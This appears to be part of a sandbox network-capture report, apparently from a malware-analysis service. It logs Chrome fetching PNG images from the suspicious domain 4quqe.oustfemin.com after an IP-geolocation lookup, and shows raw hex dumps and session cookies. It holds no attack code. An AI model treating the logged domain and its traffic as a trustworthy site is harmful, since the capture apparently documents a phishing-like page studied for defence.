2024-08-23 14:21:57 UTC	332	IN	Data Raw: 31 34 35 0d 0a 7b 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 32 33 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 38 22 2c 22 61 63 63 75 72 61 63 79 22 3a 32 30 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 41 53 33 33 35 36 20 4c 45 56 45 4c 33 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 61 72 65 61 5f 63 6f 64 65 22 3a 22 30 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 Data Ascii: 145{"region":"New York","latitude":"40.7123","longitude":"-74.0068","accuracy":20,"organization_name":"LEVEL3","city":"New York","organization":"AS3356 LEVEL3","ip":"8.46.123.33","asn":3356,"area_code":"0","timezone":"America\/New_York","country_code":"
2024-08-23 14:21:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.16	49815	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:57 UTC	1532	OUT	GET /ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:58 UTC	649	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:58 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vtVeODRIUNsMv2XrxJZNPdx6rsH1CSKvvdFhVm7GwDHDJTMMck3tJAqDiAYTyI0f4649Ef9ZQ9ZmACSuTB48nYGMRA0W%2BsN279q54Wbse80ITnLR2w7Jjesd4B87%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc0838b8742e6-EWR
2024-08-23 14:21:58 UTC	720	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 24 05 db 88 b4 aa c3 24 e2 27 53 ad d6 6a 02 70 01 b0 Data Ascii: gG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I$$'Sjp
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 70 13 30 34 3a 48 cd 4d 07 fe 45 7a e2 fc 59 e0 15 e0 Data Ascii: G` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#p04:HMEzY
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 22 30 81 f8 c9 b4 a2 eb bb c0 e0 4c 63 a6 ea d8 01 78 Data Ascii: I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e"0Lcx
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb 74 bd 42 6a 5c 91 ba cd 59 c4 5f 7f ed d6 f6 d9 47 45 Data Ascii: V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&tBj\Y_GE
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 37 11 7f 7e 75 a2 26 e3 e4 ad 94 c3 5b 89 bf 9e 5b ad Data Ascii: !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC7~u&[[
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 b5 bd 9d fa 3e ed 3b 07 f8 4f e0 96 e8 20 92 16 f0 00 Data Ascii: OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF>;O
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d b5 b8 0f 9c d7 c0 d1 ee 72 21 9d f6 3c 30 31 3a 84 16 eb 2b c0 Data Ascii: ?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8r!<01:+
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c 7c 9b b4 ad dc ba a4 e6 82 0f 00 97 52 bd 15 f4 aa 60 Data Ascii: w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ\|R`
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 e1 56 79 65 72 1b f0 66 e0 5f d1 41 4a 62 7b d2 78 48 Data Ascii: >o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SGVyerf_AJb{xH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.16	49816	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:57 UTC	1545	OUT	GET /ops0dzO1sQtluDIzM8DgPT4dyRUHfrRWMQGo6jgW12jF6nk7DHlM8Qvwgp5QX1Bbzcd239 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:58 UTC	670	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:58 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="ops0dzO1sQtluDIzM8DgPT4dyRUHfrRWMQGo6jgW12jF6nk7DHlM8Qvwgp5QX1Bbzcd239" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7vW4ZKb3p5kvhgJXs7sYAOQjoicJuDI3YDi5eAW347rul2Drm%2BwiNqUl%2BEiHd77Q9YHF7FegKg28PMeUAt%2FP2gtYV2%2FUSClfsBmI%2Bv%2Bk93e5oZXldytkWPvrIzXBRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc0838eff4338-EWR
2024-08-23 14:21:58 UTC	699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 95 0b 48 fc 98 90 a5 Data Ascii: O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7H
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 f4 a2 0a 0f 66 8c 1a Data Ascii: ,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSFf
2024-08-23 14:21:58 UTC	1369	IN	Data Raw: a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 b1 81 90 9d 3d b2 b9 Data Ascii: Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT=
